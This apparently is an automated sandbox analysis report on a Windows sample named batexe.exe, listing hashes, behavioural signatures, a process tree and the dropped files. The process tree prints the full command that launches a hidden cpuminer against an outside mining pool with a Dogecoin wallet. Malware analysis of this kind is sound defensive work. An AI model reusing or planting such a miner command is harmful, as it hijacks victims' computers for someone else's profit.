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Analysis
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max time kernel
297s -
max time network
303s -
platform
windows10-1703_x64 -
resource
win10-20231215-ja -
resource tags
arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
14/02/2024, 17:16
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 532 b2e.exe 764 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 764 cpuminer-sse2.exe 764 cpuminer-sse2.exe 764 cpuminer-sse2.exe 764 cpuminer-sse2.exe 764 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2732 wrote to memory of 532 2732 batexe.exe 74 PID 2732 wrote to memory of 532 2732 batexe.exe 74 PID 2732 wrote to memory of 532 2732 batexe.exe 74 PID 532 wrote to memory of 3504 532 b2e.exe 75 PID 532 wrote to memory of 3504 532 b2e.exe 75 PID 532 wrote to memory of 3504 532 b2e.exe 75 PID 3504 wrote to memory of 764 3504 cmd.exe 78 PID 3504 wrote to memory of 764 3504 cmd.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1D37.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3504 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:764
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3.4MB
MD5a19e0e011d0ae212062cd6b2de00fdc7
SHA146dcc48946bfcbcc2ca9f1158e85f5a76b09280c
SHA2563cf440cf687cab062ec9c8be14b7104417d9d3d1031a4e587233a0cfe2b0759f
SHA5123c72d9dedba80f67bba6b61e8e491291aa03e7a3574e42f48903e8b979e450346fc410a3091abebdb212b0eb3f0d055ade75bee40ded6a1a0cf7aa6322346d91
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Filesize
3.1MB
MD5c074dcb1479a3328fed421341a92445e
SHA1d5a1a95a6321b9e5db79c2763ce6c744e5fb6f02
SHA256c7858b11480fb8dfb57a7f177f2b4541e497a6250068ebf1791d342be1460787
SHA51207fe0ea8ac7ecd39b1ba204e1780ebebc95fb2705fb873da4993acd8b0d2d2134d2ba59dede4d130fe842b12086a8d9117112d5b1284fbcc6dac8137115c2f03
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
1.5MB
MD5d5646b12b00e9b766d3434ed5933129e
SHA12045c6720d051519e49e480248b8d2dd9780602c
SHA2561fa4fff91671f221cb4d03d09e77969b23d96a82b6c866a4f32396101f0acbe0
SHA5129d28125e92d3c408b7f24e01202ecbae9dfa8cfc1a09a1d218a091e58726d152683caa9bbe240803a44a699ffe9f0db9cf6d868c247973d21d3ef0325d57f664
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Filesize
1.3MB
MD538d8653c1a5edd94a705d1c066190ea5
SHA1925f55bfd4ef06f3a180fda79256d525c46e49cb
SHA25661759c687c3806c6bd2230288e04c520dc305bba79634687ddf4ecf0e8e2c9a2
SHA5123feb8833a78b30fdd1456ff497faa86b4d6b159bd8e0f7d12ca35171095c8211b2830031c11256bc39adf95e1de5624c5826baf08579f68d71e174f759039820
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
1.0MB
MD54d49ffd5a663480c20e1f351889692f9
SHA12dcd4cdce8464bfa53aab9563ce60d212adb048f
SHA256d7a616d3cd0f7508d0412f3c93b742eb9c0b424a5add835c6e5b4ae527331eae
SHA51252c1423ce613ad102332839e44fe37e62156fa5f489d44c4866bf48110cd1b336c273a54b94d0595b77ce53a0f92a2d5812541061d058b4496a2569d5fcd4d9f
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
984KB
MD5d8ea2e084a798b05997fec930bc31493
SHA1db66238c3f9f0e5c9083b90bb6e3b42a0cd2db74
SHA2564018ef436e1c0c7acff617ac39ae27f5b62633e6eb103f21e837aa965713da37
SHA51252f7d6bd075106af35c95b3c7b17bda754698a9bbfeb977ae4d6a852c14e09bfc4248b1a8a9874d3b7dfdf6abb5cb8e097cd102fdca147a075d673bf1efc051f
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Filesize
983KB
MD544f6c503922efa05df17e756941deb09
SHA11800d617f5dc2a558d01871538b4319e81520f3b
SHA2569daaf05b6b5545e6727225ae543a4a79c15a94668f87d69dac804eb372110849
SHA5121eca75e309e9f3c7482508b22d1e3c776712bdcae17f52917aae290e1f815fa8572e204896a392d2a9481bea18535f5571fa58d4d6d5d2438a4a847cbe334b7f
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Filesize
833KB
MD5c39cc50745c66b44afad8797d4715428
SHA1da26a8c867d6b413b97ff84e3d600df05c80077a
SHA256b7cdb4b6a0f61d45c590d19e88659bcfb562d6b44fa8111b9361d9a3e4089b59
SHA51209d255a34639257adb7a4b9740242e8334909fa74389c9c4bc6d76264860129cf635064da88d6803a1558b1738296ae66b88b11e51ed6bbc2f04ba7c9e3dc46b
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770